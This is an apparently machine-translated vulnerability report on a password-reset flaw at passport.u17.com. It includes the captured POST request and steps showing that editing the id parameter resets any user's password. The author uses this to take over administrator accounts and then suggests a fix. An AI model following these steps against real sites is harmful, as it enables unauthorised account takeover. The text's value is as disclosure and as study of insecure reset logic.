Shanda has an enchanting Cartoon Network to change the password of any user

Shanda has an enchanting Cartoon Network to change the password of any user
Today, the traffic on this site burst. I checked it and celebrated the second update of 0.1 million jokes!
Detailed Description: logic problems occurred when using the email to retrieve the password.

Use a known account to retrieve the password.

Obtain the following link address:

Http://passport.u17.com/member/reset_password.php? Auth = 70adcfad448d76c0b70480d787f734 & id = 2544380 & t = 1348903015

For example:

 

When you enter a new password for submission, capture the packet as follows:

POST/member/reset_password.php? Auth = 70adcfad448d76c0b70480d787f734 & id = 2544380 & t = 1348903015 HTTP/1.1
Host: passport.u17.com
Proxy-Connection: keep-alive
Content-Length: 63
Cache-Control: max-age = 0
Origin: http://passport.u17.com
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/4100.1132.47 Safari/536.11
Content-Type: application/x-www-form-urlencoded
Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8
Referer: http://passport.u17.com/member/reset_password.php? Auth = 70adcfad448d76c0b70480d787f734 & id = 2544380 & t = 1348903015
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN, zh; q = 0.8
Accept-Charset: GBK, UTF-8; q = 0.7, *; q = 0.3
Cookie: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

New_password = zzzzzz & confirm_password = zzzzzz & % E6 % 8F % 90% E4 % BA % A4 =

Cookies do not contain any information related to this operation. Only the new password is submitted in the post data.
We can see that the user ID is submitted using the get method in the submission address. Here we identify which user password to change.
Modify the ID here. Submit the task again:

 

The password is successfully modified.

At this time, the enchanting administrator has a password change.
You can obtain the user ID by accessing your personal space.
For example
Http:// I .u17.com/1844269/
The user ID1844269 is displayed.
However, you can only get its ID and nickname. Even if you change the password, you do not know the account. You cannot log on.
In this case
Http:// I .u17.com/1
The nickname of the Administrator is
Xcily
I tried using the nickname as an account. Failed.
At this time, we can see a considerate small feature.
Called
Can't remember the user name? But remember the nickname. Click here to try it out.
Http://passport.u17.com/member/forgot_begin.php
Enter the Administrator nickname.

 

Your account name x ********* 9
Start with X and end with 9.
We searched Baidu for the Administrator's nickname.

 

Xcily0429

Then try using the account... this account exists...

Modify the password of user ID 1.
Use
Xcily0429 login successful.

 

 

Administrator account.

I tried to go to the forum. This account is also in the Forum ID. But because the background of the Forum has set access permissions. 403...
I tried several other administrators and successfully modified the settings and entered the account.
I didn't do any other operations. I just wanted to alert the administrator.

I really like cool cartoons. The Administrator xcily is also a Technology House. I hope to have a chance to have a chat.

Celebrate the second episode of 100,000 jokes !!!

 

Solution:

Change the password and add more authentication.